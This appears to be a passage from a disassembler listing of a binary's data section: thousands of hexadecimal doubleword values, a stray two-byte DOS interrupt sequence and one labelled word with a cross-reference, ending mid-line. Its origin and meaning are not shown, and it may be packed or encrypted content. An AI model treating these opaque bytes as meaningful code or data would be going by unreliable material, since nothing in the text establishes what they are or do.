22D7AF8Fh, 7112ECEAh dd 0F400F66Eh, 992E1CE2h, 31800AEh, 0B0935178h, 9D1F48DEh dd 0CD2EE4DDh, 946D1900h, 0B827218h, 0CD680BBCh, 0ED31C080h dd 0C984866h, 89D9F703h, 0D8DD36D3h, 4CFA4AC7h, 8E80C41Dh dd 0A4E504CCh, 4C034EFAh, 0E2039B52h, 200E9109h, 16F48620h dd 75F4947h, 80C7877Ch, 0A66B34A2h, 76F9C400h, 0A4B6F50Fh dd 246CF849h, 804785Fh, 0E581F1E4h, 5235B198h, 50365C60h dd 706FB47Bh, 0CF1A031Bh, 3F5E28B3h, 30BB0789h, 99027DEBh dd 5E0A07Ch, 0A97460F0h, 7D8D713Ah, 0C310C3CDh, 77E08BE6h dd 16EC5006h, 430028F0h, 0C8BB68A2h, 6A1DD1h, 274925Bh dd 5FFD5175h, 3D326B1Ch, 0EAE14D40h, 28F90E70h, 944659h dd 18BD1A06h, 6557D19Ch, 162F3826h, 3CF2E00h, 7137D2B2h dd 18E1005Bh, 0DA6D31FCh, 5500A98Ah, 0A7416A70h, 17B7D5Dh dd 938E8949h, 201B9B3Dh, 0F901BC8Fh, 10992983h, 4AE85E38h dd 655F014Fh, 0C0708D02h, 0ECF6C096h, 756AE407h, 0C200F7BBh dd 77488C5h, 0A1551A3Ah, 0E821D346h, 79EBBAB0h, 0B90EF500h dd 5ACA2BBEh, 71A101F2h, 0CBF07823h, 0F91880ECh, 54B6D93Bh dd 8F3E582Ah, 0E44626h, 8A909214h, 2800E4C9h, 0BCB2F896h dd 4DCC37Ah, 29EB9A5h, 0D094CAh, 2F4714ACh, 5B288FCDh dd 5D00A02Dh, 0E4EF3AF1h, 0E09B60h, 0AFD34EF9h, 11B8B40h dd 36990A00h, 0AAC3F33Dh, 72AF05Ah, 2454A238h, 0CD01E044h dd 323C6419h, 8634BB52h, 1F26083Ch, 0F8FA00A0h, 2227C65Ch dd 6E5852D9h, 233509F8h, 40982h, 0DE4043F4h, 62D807B2h dd 673E65F9h, 69A1A019h, 0C803C9BAh, 0E1CE9D16h, 0A8045E4Ch dd 2C4DC9h, 64D6E86Ch, 574B9Bh, 0F5CFD98Dh, 0B72FB532h dd 0EBDDF800h, 9BBABBB3h, 7E2D4CB1h, 4127976h, 0DA7320Ch dd 6D19C018h, 2100AF9Fh, 0C35C6549h, 388CC1h, 1052596Bh dd 0ED20CAC8h, 92A36C3Ch, 0AC00D591h, 0D69CB9F4h, 0C73328FFh dd 8B6A00F4h, 6DF67E56h, 806EB6AEh, 1CA52728h, 2ED47340h dd 120C0137h, 62FA987Fh, 3890E0E8h, 0EE598B1Ch, 0A084018Fh dd 7821A351h, 455700F4h, 0E9FB8804h, 9C3E28C5h, 53E0800Ch dd 88312B1h, 8E7F187Ch, 0CD2381B8h, 0D7F4C402h, 70664375h dd 0BFED267Ch, 984E00B4h, 0DBF46F1Ch, 103F752Ah, 806EC340h dd 21E85E77h, 3B0C87E8h, 286BA5B1h, 348F507Fh, 231F8025h dd 1319ED74h, 0C5811C63h, 1EFFC1F0h, 1E69D0EAh, 21D7CC88h dd 0F820EC28h, 27BC1EF4h, 0D3B8006Dh, 0FF5C6214h, 48506800h dd 23FE60E0h, 21F80036h, 24C4C3BDh, 44A1B43Bh, 26A08B75h dd 0B66B0577h, 64A85048h, 89C300C5h, 3BD8365h, 0ECC91A5Fh dd 3BC8794Dh, 46007140h, 0A6FDF6ACh, 1C3797BDh, 4026234Bh dd 67BC4DAFh, 1F006FE1h, 963F59Ah, 0AEC622h, 7EC090BDh dd 13B78CC9h, 89370609h, 2075072Fh, 0BCFE0DEh, 718BD11Fh dd 67E000DBh, 79EE18B4h, 3A00C355h, 2EA1E5ACh, 1B3DC6Ch dd 10D15DF1h, 0CCB5B901h, 0EF147BC6h, 7A0D4C8h, 936FF842h dd 1C9CD9ECh, 41233D1Dh, 3B67C42Dh, 0B2089334h, 257BD040h dd 147F3Dh, 852119DFh, 0B6ECF942h, 398341C0h, 74846277h dd 0C7EF3AF6h, 5C699800h, 21BA7516h, 6BF33A18h, 780B5F20h dd 17C73023h, 5BFB5110h, 0BF24B300h, 0AE02D09Bh, 8378C03Eh dd 7C0F74BBh, 0E74128C1h, 589AE58Fh, 641779BCh, 1680B511h dd 81E2FB30h, 4B44BD19h, 87D05699h, 61FD6090h, 19F920A0h dd 980E7703h, 52267FF4h, 0C30E0C08h, 6FE1F9D8h, 0EC5D6C35h dd 8D7A7CE8h, 1EF741D4h, 58B9DF80h, 9F8E0171h, 0B93324DBh dd 0A3D07BE9h, 2CF18C8h, 9709C882h, 0E0F45730h, 7D6B921h dd 681CE4B5h, 2EBCC14Ch, 0A8ADC471h, 0BBD80C00h, 7CEBD9B6h dd 2A4400CEh, 0B70A91F4h, 0B4E64067h, 3B643300h, 820B600Eh dd 0CF8800BFh, 6965D81Ah, 67006D8Fh, 0F25D9F27h, 45E761h dd 91497EE6h, 0EE94076Ah, 3D03DD00h, 0A37D663Eh, 0CC40027h dd 4BCB3A2Eh, 0BE1E4133h, 3700B5AAh, 0DBB4AE12h, 2B4718C2h dd 33DE10DCh, 950696EEh, 0ADB3A61Fh, 0DBF63009h, 472EBE20h dd 68002A70h, 72F57CDCh, 620681F9h, 0EDC160DEh, 11DBFE02h dd 0EE3118B8h, 2F952398h, 0EC00F711h, 5B9E472Ch, 7D003BD8h dd 87C41659h, 0F2D6728h, 0CC3F9B3h, 61077989h, 1302C085h dd 61C046E5h, 7A73BBFEh, 8E66019Fh, 0C65F2A92h, 80F2D193h dd 7ABB2021h, 395DE27h, 63B4D49Bh, 6C16128h, 85688486h dd 0C800F5BBh, 0D37698FEh, 29A42A50h, 0D6843E00h, 8A9E4632h dd 0A4A500AAh, 9CACA261h, 82002D4Dh, 1C9D7F2Ah, 60874Bh dd 0BA92976Dh, 0A4DBDA88h, 0E0ADF803h, 0C17FBDA8h, 3D60727Eh dd 14F3005Bh, 0C73F0273h, 0BD0082ADh, 0B4335C6Fh, 76B39D0h dd 0FA1EABB7h, 0D0DEB7D2h, 0DB2C5584h, 0E1A82501h, 1E17C049h dd 6FB7D4h, 0D906C10h, 8F48BBD2h, 0B10092F4h, 0CE437FD4h dd 5229A5h, 84B49AD7h, 8F33C14h, 44005EB8h, 0D3800F3Ah dd 4CE141AAh, 99037834h, 0B9621D66h, 403FC9E8h, 0B1B718C0h dd 52EC56h, 3393B520h, 0C4EBA8B0h, 0D38DFC01h, 989C3D43h dd 1A349080h, 0F983AF6Ch, 0E81EBD60h, 729CD7Ah, 6A30B639h dd 0EE80BE63h, 0CFBECE42h, 57E61300h, 0CB45621Ah, 0A5040054h dd 36E7968Ah, 0E9032C74h, 0C6F3CAB8h, 0BD4A3C7Fh, 0E8BF3862h dd 79E2DC00h, 5134000Bh, 7262207Eh, 0E1069910h, 0DACF3D86h dd 58610699h, 1133BBBCh, 710EA870h, 637883DFh, 0B6B9EDh dd 0F763E118h, 7A6DAF2Bh, 0EAC92A00h, 0B47A51Ah, 0BB9C039Dh dd 0E1D170C4h, 0AA60DD80h, 0EF6C7702h, 7D9A631Dh, 88D85340h dd 3C4ED901h, 4F510369h, 0EC00044Eh, 1A4BB741h, 19C0664Ah dd 999D3531h, 187FE098h, 807D05Eh, 20C05005h, 0E89DFC90h dd 94980078h, 0EC497915h, 640FB87Ch, 66E66C92h, 18012Bh dd 0D318B669h, 6805AD9Fh, 0A50003E2h, 0AECF1975h, 6014028Ch dd 0D4F27855h, 0B3A84C0h, 0E2FF0053h, 4686AB4h, 223300D6h dd 8E8A2CDFh, 4F02530Ah, 241DAEDh, 23209C03h, 0C801AF33h dd 5FD2FE51h, 72238050h, 0E9490092h, 8A5E67EDh, 0D9E86B95h dd 926E21D8h, 96F1002Dh, 7AB8FF32h, 8101482Fh, 73AA2437h dd 0A4504E98h, 66A19FC4h, 0D8EAE034h, 0BF445901h, 1110FC6h dd 40C91894h, 8CDCACh, 0D8CF0722h, 46389B4Ah, 0DD4271C1h dd 91F04999h, 0EDD900F2h, 9C315C3Ah, 730098E3h, 0E6C160CAh dd 3A746A58h, 3867C9D5h, 393A8125h, 6F49804Bh, 0C4889F1Bh dd 55FE0C26h, 70081ECCh, 540C21C0h, 1D0EC9Fh, 644E1949h dd 506E50EEh, 917744F8h dd 4CAC6C4Eh, 0CF86A28h, 63ACE73Dh, 0D714C471h, 72802E84h dd 0DD3F5208h, 27CD801Dh, 84E72CC1h, 0CADC50F7h, 0D418E929h dd 5D10637Ch, 28E4F0AAh, 5FC7FB1h, 51C70DA2h, 88A460FCh dd 0E9581B92h, 22A443AFh, 40CA28D7h, 0DBE20FB4h, 71208803h dd 2BCC9387h, 0FD09157Fh, 8E1B0C58h, 7558FF05h, 0E728C8h dd 0F25E2520h, 0FD39E22h, 0C78751DCh, 7820CD8Eh, 3B3060A1h dd 0E100E377h, 6E87F0FCh, 1C002742h, 926B6581h, 460A801h dd 0A741024Ch, 89BC905Eh, 351C269Ah, 0B3FF1DEBh, 25709EAh dd 26322921h, 9C81365Dh, 870E8FD9h, 89ECE698h, 416C85D2h dd 361853DCh, 90989D38h, 49CC7E38h, 0FD008F21h, 11FED19Dh dd 5250D5h, 4B17E37Ch, 0AEC93395h, 0EC14EBF0h, 78EC47A4h dd 400FD939h, 80D654D2h, 0BEAF00E9h, 36D7DFE4h, 0C0024CCAh dd 0F8590C80h, 76D61Bh, 0D4AC1E64h, 0DCA08F6Ch, 7C18E602h dd 0B9584EBCh, 0DC5002F6h, 10D23018h, 313EE120h, 0C02EDDA9h dd 0A7F699E7h, 0AB7A615Fh, 1DAA50Ah, 26801838h, 5D061C6Ah dd 81090078h, 7D5B5E55h, 611C4927h, 350C93BAh, 0E86B1A43h dd 0D2CF1DD6h, 5741B0CBh, 0B84E4221h, 7D6AB2C0h, 0A03C601Ch dd 0D322C99Ch, 4B498E05h, 0DC608A02h, 233026E3h, 6111B5EBh dd 269B2800h, 0F8D2CE71h, 0BA6AAB0Fh, 0ED1045AEh, 0DC2235C4h dd 9D373018h, 0D056DD90h, 501E10DCh, 9DFE5A00h, 0E36588E4h dd 0ACC7B303h, 0F1B47F7h, 3D0D6621h, 0C64FE8C3h, 3A6DF0E7h dd 0FD0C2B21h, 6953EC59h, 0EBB914AEh, 0F23EE865h, 9260640Ch dd 4C046B90h, 77B95203h, 292EE8D0h, 4DFF0290h, 6B30D4ABh dd 344CC841h, 0E7068E0Ch, 68675060h, 12E8F8F9h, 435BC1E4h dd 3237F7E4h, 2A7411FFh, 0F05C209Dh, 73B040EDh, 0BB0C6995h dd 416AF275h, 68ED1692h, 93202172h, 6082142Fh, 0BACA2071h dd 418D4E7h, 0CD680A80h, 7CDB03E1h, 0C3A5A30Dh, 8C89BCCEh dd 0F9B5F875h, 0D3528801h, 9755A440h, 0F5D22460h, 0AEED9010h dd 39304863h, 0E2E10041h, 0B6275801h, 0EF01DDC3h, 24853786h dd 8422CB94h, 183CAA0Eh, 758C66A3h, 0C98731F0h, 53555A00h dd 81886311h, 982A26C0h, 0C217C42Ch, 64CA3C70h, 80807088h dd 0E6141AC0h, 333B4448h, 2640CC6Bh, 298FC8C4h, 0C6EA04FCh dd 9298E8C2h, 0FF1000C4h, 607334h, 5D5AF591h, 899A1B4Eh dd 38D7620Ah, 403C402h, 0C8D41E4h, 75D2F978h, 8407C7C9h dd 392416AFh, 0E3BAFDD0h, 950D02CAh, 0ED0F3187h, 1946386Ch dd 0E29D3801h, 0C7F0898h, 0FF918847h, 25809D00h, 4A39A843h dd 0AFB30045h, 7647ADD0h, 6006415Dh, 0D69DD1BAh, 7A8994Eh dd 0A1D4C7D3h, 20E99565h, 5D797DE0h, 17D04A49h, 3040D3C1h dd 0A8238147h, 7C32584Bh, 1DE95400h, 0A04FEA6Ch, 63F23F3Bh dd 0F06B45E9h, 48B76722h, 4423EC47h, 3226E501h, 8D18C5EBh dd 71E0240h, 5A0F269Dh, 302FD9E1h, 8010C4A9h, 0F4265CECh dd 0F3807040h, 0A61177F1h, 0A821D46Dh, 0BD6ED800h, 0DCEF47B2h dd 82D0AA3Ah, 999CA7Dh, 250E02Ah, 5E0286D3h, 8DE91592h dd 8010E56Bh, 64925620h, 1E00D154h, 3CE37818h, 0FA87D475h dd 8E6324F7h, 0D17405D0h, 4CAC424Dh, 54E970E6h, 0E6006136h dd 58E47065h, 34FAC65h, 48D7CA64h, 79681D54h, 74C64094h dd 7BF91AEh, 0B41DD0A2h, 6E036108h, 5974A841h, 0F8347043h dd 0C6D4Ch, 3A76D666h, 61C28AD0h, 5CF2300Ah, 0BC84D6BCh dd 224083DAh, 0E8491800h, 0B9FCC25h, 0D45F507Ah, 0A8F6F002h dd 7B90B0h, 0D3FC2DC3h, 12B1D27Ah, 465E8494h, 0D2E2001Eh dd 45EEE036h, 9B3F0226h, 0DA8FC198h, 0AB1B8080h, 4C17621Ah dd 0C00875C9h, 9F15C0D0h, 1646C45Eh, 12007322h, 0E8719F4Eh dd 279EA24h, 9EDA674Ah, 4C488FA4h, 0D6002E2Ch, 1522D3FFh dd 0FC50AFh, 0DC4A6D1h, 77DFB5Ah, 0CCB2E209h, 3F1C2068h dd 16A4F840h, 895A0Bh, 0B1364E3Ch, 2C0F552Bh, 0F251E0EEh dd 0C85C26h, 57505C5Eh, 990658B5h, 79C9AE00h, 0EA49610Bh dd 0DB3003Bh, 7982B69h, 360AE867h, 0BC2EE7C3h, 2043F0B2h dd 0F5B30434h, 77F78B00h, 94B8D4EDh, 57D75D1h, 31C48797h dd 2354816Ah, 0AB040109h, 339C84D2h, 899F2260h, 0C11EC421h dd 209F1B0Fh, 810046F9h, 41D4C329h, 2718EABh, 0F0268615h dd 68C69C72h, 735E3109h, 1DC20B24h, 500508ACh, 0A2AE2D60h dd 14F425ECh, 11948C08h, 56845085h, 2697048Ch, 6295EB34h dd 0CF44205Bh, 790BA026h, 90F6DF0h, 700044D9h, 31B107D8h dd 47D30A22h, 9A4D6034h, 0E92449D1h, 5C059C5Ah, 441D7498h dd 803F9121h, 0EB3B2698h, 0C0C891CDh, 0BB26D023h, 340E9B00h dd 4B29A10Ch, 77E0028Dh, 0D33304Ch, 5273FC82h, 0A0048E4h dd 5627A61Dh, 0FC6812Eh, 0D1D874D7h, 4922BA61h, 33298002h dd 0C97C3E32h, 957EACh, 0A5E7FDE5h, 0E1A7075Bh, 5AE3F314h dd 0FC0048Ah, 34C0773Dh, 7DAECDh, 3FAF441Ah, 40985EF1h dd 31A031F3h, 1FA0236Ch, 0E944928Bh, 0F3268A5h, 92432D20h dd 2A73004Ah, 0D64BE37Fh, 2B16F085h, 3012D952h, 5C23603Eh dd 49F76600h, 7A77B3h, 0FBDDACF0h, 1BEFEDC8h, 78399715h dd 64A407E4h, 6F20C712h, 0E6D2199h, 6EC9CE50h, 0A8C463E0h dd 5D5C1A3Ah, 0DC415100h, 351D2DE3h, 5EC0E6D4h, 4F1D9F64h dd 20F0B267h, 98A186B1h, 440189Dh, 0EEC48B9Fh, 207732FDh dd 3B9F1909h, 30977A01h, 0CC9A4FE4h, 0F58DE920h, 3918183Dh dd 1553313Bh, 56842D00h, 0B52F5E95h, 4580001Bh, 43697473h dd 1E11A3BFh, 55003D39h, 3553E168h, 5000A4D7h, 0F9E3AC60h dd 0F0B7268Ah, 5CE51332h, 8BF44170h, 30436535h, 0ACA862D8h dd 0C91C47E9h, 7858F752h, 2084E8F0h, 56097ED9h, 4B0518D7h dd 41E5D938h, 0B89AC3DCh, 640610F8h, 84EE3D0Bh, 0D6A794E6h dd 0EF30A0h, 0E74DFF48h, 5E2F9511h, 0EC182CB2h, 9C906144h dd 8DA707F1h, 0E1604977h, 0FCDD375Eh, 0B0907914h, 611B5105h dd 9F105633h, 8048B120h, 0C1E7E019h, 2C308E90h, 11E8B831h dd 0EC744DA5h, 8DB89C00h, 0E08B88ACh, 757C7B00h, 7176F6F8h dd 0BB500285h, 8964D409h, 0F0358086h, 18248CB0h, 467CF411h dd 49040056h, 59F761CEh, 0D47A022Fh, 8CCE6E8h, 0D4536461h dd 1501C5CAh, 9CF26269h, 18A86839h, 13D14638h, 0E8099F1Ch dd 3ED0B14Eh, 9F350D10h, 86780276h, 17D9AE0Ah, 8638C85Fh dd 72659C01h, 28FFE658h, 9F847C3h, 9FC9DAEAh, 0D595CC23h dd 0E8ACB848h, 0A9008C58h, 0C8D402CCh, 921B650Fh, 409A301Ch dd 6BE546A1h, 0E84E6C96h, 7CD78968h, 0D4AC7C60h, 0A941412h dd 0E80CB0D5h, 1CDE6966h, 7040546h, 32DAA9AFh, 6040EA64h dd 0C9817BB7h, 0DBF25832h, 119C530h, 0E986E262h, 8387F1E4h dd 6EE32980h, 5D6990B3h, 9C4C9008h, 4C467410h, 8B54700h dd 637D48EBh, 320015E2h, 4D3FE32Ah, 0B024CF7h, 5E47B952h dd 4E41FC40h, 0C7105807h, 6BB089F6h, 5BFD71h, 0A181143Eh dd 311CEA74h, 76595000h, 19E8C653h, 0A034F8D6h, 0F0E796BDh dd 55D20135h, 2501298Eh, 0CF0AE083h, 0E6F348h, 0EAFF4B87h dd 1BA0CF6h, 7AE92F77h, 0FCA16C6Bh, 4F5C151Ah, 0FA341C10h dd 0CABDB900h, 1DD1B7B8h, 0C19B4DEFh, 37540CDh, 95118A92h dd 187C044Eh, 1096D244h, 0D509CCB3h, 8E0E8B55h, 6040009Eh dd 24A80F82h, 9AAFF9h dd 0D87BB54Ch, 1300B84Fh, 0EDEB6A41h, 0F9B3017Dh, 714BD8h dd 34B61E06h, 0D6B8BA57h, 0D900DDFCh, 4BE5EAF1h, 85C58Ch dd 0EF9980A7h, 76F5C1FAh, 0EA1DFC00h, 0B93B1287h, 92670028h dd 3C5BC0DAh, 300DDCEh, 9D1CA90h, 75F35C26h, 9BCB0006h dd 60849456h, 7F0008A3h, 7EDE283Bh, 3C16FDE0h, 7BED25h dd 0B10CD6Ah, 5F690654h, 49C0D500h, 9D9F03FEh, 0A0E50F86h dd 0A4A0D69Ch, 9455DB97h, 6D6775Ch, 0AC568A68h, 8B63002Eh dd 0E639B480h, 8573EE13h, 8FE05A00h, 12A8D5FBh, 81AE0029h dd 8E62F856h, 0BB00374Ah, 0B4D82FB3h, 7793EA02h, 89C20778h dd 0C06C50D4h, 5837CF3Bh, 0D224627Bh, 33032EB7h, 0BFDC93DBh dd 39D777D0h, 4FF3FECh, 288D1700h, 32078992h, 0A4EB5A00h dd 0B2E5B409h, 3FCC00A5h, 920B8BC7h, 1202A74Ch, 65ABDB86h dd 5B104816h, 253D1631h, 0B371C004h, 5200851Dh, 9CF1F309h dd 0FE83CADCh, 0FFB6035Dh, 654B030Ch, 1E0747E0h, 10D160C9h dd 17B2B1Ch, 0C644EAF8h, 0D8187C55h, 67000849h, 77D7D345h dd 91CA4Dh, 79E34399h, 760436C6h, 0FA0F003h, 382721F8h dd 0FFB024C4h, 12685DA0h, 0E8657A30h, 7C8A005h, 6F9FF9C1h dd 3047511Eh, 0D366F449h, 0C026DA02h, 82F5CD3Ah, 0E0AC32D6h dd 0C60F32h, 0B48117DBh, 9A6CD87Fh, 0E4EA1F00h, 7CD68B52h dd 0CECF149Fh, 6A03D864h, 0C656E76Ch, 0B5001179h, 850EE64Eh dd 50E35Ah, 0DF76447Dh, 553D75A5h, 0DD42FB02h, 4091D1B6h dd 0ABCA20h, 0CC1A902Bh, 983E630Ch, 0C0B2A700h, 0A1C32DFBh dd 0BAD80A1Ch, 8A0A84Ah, 0E080B312h, 1DE3F77Ah, 801A02C7h dd 18EBF9D6h, 20772C41h, 3F000834h, 155D6C5Eh, 279B1BCh dd 3DBBF229h, 1AC0DCBDh, 4D09C0E0h, 0E4C2B9h, 0EFFDAA44h dd 0E28300EEh, 0E7A995Bh, 3F03CBEBh, 0CDDDE66Eh, 13E8016Dh dd 5A64E7Ch, 9B10816Ah, 0F4406EC3h, 1EE80434h, 804DB473h dd 0BDCEBC5Ch, 617C998h, 0B50EC703h db 0CDh, 21h word_544F42 dw 2C9Dh ; DATA XREF: ___:off_4374D0o dd 0E0DFF2ABh, 30D24A29h, 96D0FB7Dh, 0A0020191h, 66F363A8h dd 8614487Ch, 706167A2h, 0A4DD1096h, 0DE09C193h, 0A0E2CB45h dd 1A11B060h, 7CF3013Dh, 0A696A9BDh, 0A6BE874h, 54482000h dd 0FBF81F2Dh, 51C304E6h, 809E9290h, 4FA89418h, 9B86E00h dd 0CA40C17Ch, 0E803038Fh, 0C73D66ECh, 1B1AC000h, 8321760Dh dd 5C69006Ch, 99779302h, 1D0E6ECAh, 0DB3DC8h, 0A717843Ch dd 0D8B603D2h, 7668B82Fh, 31EA7CB8h, 7DD1C000h, 0B06558C5h dd 958C0714h, 4070B59Eh, 41B9E1E7h, 3B45A3Ch, 96BCE51Dh dd 0CC28006Ah, 11C1D9C3h, 9F0052D2h, 67D4881Fh, 10FAB30Fh dd 96B2C7Fh, 80DF6638h, 0A9FEBA0Dh, 26D10103h, 3188D742h dd 0F8D5D8BDh, 0D0F29A00h, 84FF9327h, 32383EBCh, 64E52180h dd 0C69B85CFh, 0BFA7AC00h, 0FC523018h, 0A8693A78h, 8B1EAEB8h dd 0C13D9C31h, 106FC84Bh, 0B3319DA7h, 95657E01h, 0BFF593AAh dd 7B71D0h, 0EF6479FCh, 0ED375CE6h, 2385E0Fh, 0D8407E90h dd 904D614h, 89751F66h, 8E746448h, 0A7E75176h, 557C1077h dd 67F89D83h, 190F1B00h, 131D76A6h, 2B0707Fh, 80381739h dd 6060A982h, 93071845h, 9405F5Bh, 0B6762EB0h, 9EE224C9h dd 0DC000E6h, 91C414B1h, 691D4B02h, 40A6CBABh, 7BEEBC9h dd 5E3824AAh, 3FCDB221h, 9986B460h, 4927C600h, 0FA9E900Fh dd 286C40D0h, 34473B03h, 80439215h, 5415131h, 0A6A7536h dd 0ECA3C07Eh, 0C60312BFh, 9D330C8Dh, 2249C07Ch, 6ECE0017h dd 5D1E4601h, 0E200280Bh, 7D66BE4Bh, 1D128974h, 4BB3D08Dh dd 0BC20D964h, 2D57AC47h, 0F8D349h, 812F94C7h, 0BDD009h dd 6D88B808h, 0D691597Dh, 388F643Ch, 0F900FE72h, 17AD0939h dd 16A63D0Dh, 0B89938F2h, 72A100B2h, 0FDF1424Fh, 66EB0F83h dd 7020349Ch, 0DACDB0CBh, 72043272h, 0C6BCF1C9h, 3120C887h dd 484665F8h, 6700C491h, 51D2EF0Ah, 0E6007D70h, 0C8B8DD1Dh dd 0E1AF4560h, 4F75DF4h, 1EF461ACh, 98648017h, 2001155Ch dd 0EC076DE4h, 54E16BFDh, 146D0F4h, 5582A7A8h, 0E0673D2Eh dd 2C015263h, 0B9375609h, 7C205B9Dh, 7F7ABEh, 23FF4806h dd 822C93C0h, 7B02C300h, 579A1FB4h, 2DE00114h, 81E4BA63h dd 0AF70DC61h, 0C00D2EAh, 0A551B36Dh, 5D554Dh, 0B4827860h dd 0D5B9566Eh, 6C85D400h, 0B83EBF3Fh, 0ED1300E3h, 44928FC1h dd 590028A3h, 0F4DE2A81h, 38D925C3h, 0CF8062D0h, 0BAE7B614h dd 0EF00AEBFh, 7518B321h, 26781BC1h, 814029BDh, 226A9195h dd 64FD7059h, 189DDB30h, 0EA76CB27h, 3B76E5h, 3D14D984h dd 20827E6Fh, 0EF2BF31Eh, 80616947h, 0A2E35C10h, 0D86F00FAh dd 87DC1A13h, 8800073Ch, 0F7E66DFBh, 4AFD4Fh, 0C8773BE1h dd 694CC27Bh, 29E8BC4Ah, 36E7F900h, 9AABEDB6h, 0B590B279h dd 0AA431100h, 2A121C23h, 0A30C13C1h, 782D013Dh, 0C0FC55A2h dd 5D019F9Bh, 43F06E54h, 0CACCD7EEh, 8D060BECh, 4100AE23h dd 4833E088h, 74FD9900h, 1A668CC0h, 0AB3B00D2h, 0DFC6E72Eh dd 0A10D8A2Ah, 0A044E597h, 7890B4FFh, 3DBA4BA7h, 82006A0Fh dd 127974C6h, 0B3007C58h, 1ADB31E7h, 0FA6FE88h, 0AA6025B8h dd 5416BDE7h, 0D4C532h, 988E33A8h, 0ED0056BFh, 0A66FAAF6h dd 4079B90h, 0F528A92h, 1A3CC039h, 3804EF51h, 881C7717h dd 1478A4h, 0E54BCF20h, 0C6316741h, 99F960E9h, 0FE1E9771h dd 0DA8091A1h, 426BA4C3h, 0CC0C3EAEh, 7458EF00h, 0E1811007h dd 0A4705400h, 590F9FAAh, 0CB7CD1h, 0E4971BDBh, 1AD30766h dd 4E7F3375h, 13EF4939h, 884121D5h, 970BE3F6h, 0FA3A0E2Eh dd 0DB2DC62h, 1021A5C0h, 98D0622Ah, 0FD201667h, 2296EA91h dd 5B994180h, 0EF21159Eh, 7D37363Fh, 120D8200h, 7DD6DE2Eh dd 0B0E000ADh, 0C642DA54h, 0CC00CAECh, 0EA8B6294h, 0FB8DBCh dd 0D46F56EFh, 90123E15h, 1C002FF2h, 8004E022h, 0B007C1FFh dd 0EDC40009h, 75B56E34h, 28004042h, 518A21D9h, 6BCBD6h dd 68FF6513h, 435A152Eh, 10AAF300h, 0B31E064h, 3C70759h dd 1116D432h, 0C8E36B14h, 0FE021385h, 37847FC8h, 0CB186045h dd 4AF53A63h, 70B7E03h, 26A83FC9h, 7C00FEF1h, 0C38D6B3Bh dd 0B3A236Dh, 0CF01AC19h, 77F68000h, 1B01F529h, 0BA4CB94h dd 0DCC883C0h, 53CA0F5Bh, 0BBDCC5C2h, 0CE762A7Eh, 1FBB00ACh dd 3664B0D2h, 1C3321FAh, 12008DEh, 0D1370E21h, 303187E3h dd 127C3254h, 7251FB07h, 45415CECh, 86FC35F6h, 312C90ABh dd 0C518D82Fh, 0F84906E2h, 210F006Ch, 0C1B740E7h, 43188389h dd 0E450DA59h, 0D980349h, 0BF0EF4D3h, 1A5A923h, 6305D222h dd 881F18DEh, 0D1003ADBh, 0FC49113Fh, 507917h, 6DA03491h dd 2F31369Ah, 7F20D200h, 0DA026658h, 0E06E0077h, 68A5F1EBh dd 0B57F783Ch, 0D4B3EC24h, 0F89BE00h, 0A97D0Dh, 2907E650h dd 1BD9AA41h, 4E21F001h, 11943F02h, 0F32920h, 0CD13C81Eh dd 0BD463CEDh, 6C71E803h, 0A198AADBh, 0CFF35FCCh, 2D738040h dd 591918BEh, 2967294Ah, 0CD03FEE2h, 0C475942Ah, 3F083092h dd 29820A21h, 97E15800h, 0F6CBF0D3h, 0D9F40133h, 47738167h dd 5828B222h, 291D3065h, 0C3CE123Ch, 29760680h, 0A207C1BAh dd 0E373178Ah, 40658AAh, 0D607119h, 0A07B4B86h, 47388718h dd 30E16ABDh, 1180E9A6h, 23842C88h, 600CDD5Fh, 8B567D2h dd 0B321C1A5h, 0F85483E4h, 64004A55h, 654090C3h, 1A44D7E7h dd 2886C02Dh, 114860D7h, 1838704Fh, 9F0F573h, 20C043E7h dd 0BB1134B1h, 11A071Eh, 0C1D64EEEh, 8C73A823h, 0E14C5950h dd 671F074Dh, 414BC06Bh, 0DCC7936Ah, 28C0525Ch, 0BDBE3329h dd 832D9024h, 0BFFE98CCh, 48D90145h, 0F7936CACh, 0E076F413h dd 3DEE0500h, 1489960Ah, 3EB3010Fh, 3857BEB5h, 45E320DEh dd 620C1900h, 77B2CBB6h, 0CFF40068h, 0EAA956AAh, 167261EFh dd 0FA5DDB00h, 918A96D8h, 7451C0D5h, 53A7B333h, 0F2C9F400h dd 0AA510661h, 88D33B80h, 4B2224F8h, 0A0BF06B0h, 89004017h dd 0A568E9DCh, 0B8EBDAh, 0B4F991D7h, 1A35CF83h, 89A7B700h dd 2C5FF29h, 49B60019h, 3C088CC8h, 0A300593Fh, 20667FF9h dd 0E4E037h, 19E204C0h, 1A954282h, 9F43F03h, 0DFFFC4Dh dd 0E2DD8A20h, 0C05ED8B1h, 68183660h, 0DE32090h, 9B0EA960h dd 87FDE4E9h, 44983320h, 123A15EBh, 0D93C5Fh, 3E5CDB06h dd 3AEFC11Ah, 0D38042B9h, 5DA94607h, 9700C412h, 0FC886EC6h dd 53B11E2h, 0ED983414h, 0A09DC025h, 0C7003743h, 40A235F1h dd 0E4E1893h, 36863220h, 0D0703380h, 0D5070538h, 0E12629E5h dd 34B759F0h, 7EA11EC5h, 220D401Eh, 9F271586h, 830035ECh dd 0AD6AFA47h, 0C853Bh, 1CB29EDDh, 37887158h, 3FEC7700h dd 0FF0168E2h, 0BFC040Fh, 81DF3D74h, 603254CAh, 20030A89h dd 640D6227h, 0A1A5D047h, 7A830CF1h, 0BA509A72h, 563EA800h dd 0D32A6A8Eh, 2C7271h, 57D0930Fh, 89C8B148h, 6F535404h dd 0C780C106h, 1EC369EFh, 10019Ch, 0FDD2585h, 0BE008371h dd 6DDE2B36h, 0D4383Ah, 0F57F69D2h, 9EFCAA53h, 7500C077h dd 5B74FEF6h, 0FA65917h, 1AD649D2h, 0CE23E840h, 6EF02235h dd 0F608D401h, 0E2A09CFFh, 84703BF5h, 0E5C20046h, 56D518EFh dd 5C00861Fh, 92C5F34Bh, 3E0130Ah, 3A531A1Bh, 75DF5EA7h dd 0EC31C0FCh, 0F2FA8CDAh, 52C82560h, 0F0EBDC0h, 0A42193B1h dd 0BC5E2EC0h, 22004C58h dd 0D0331FDDh, 6E113Dh, 4519E7D7h, 9108D8F3h, 0AC676D02h dd 4046EB13h, 0E763783h, 5B4FD43Fh, 3204880h, 2A06CF3Dh dd 377DF98Dh, 0B3E10728h, 64F62Eh, 0C03CB6C5h, 0A8CD600h dd 79F44EDCh, 0FDE00Bh, 27164455h, 1A7195E2h, 14A6C400h dd 0DE420E6Ah, 70C7005Bh, 3163529Eh, 59000A3Fh, 0AF75CC82h dd 0F0D5F65h, 0C0465DC7h, 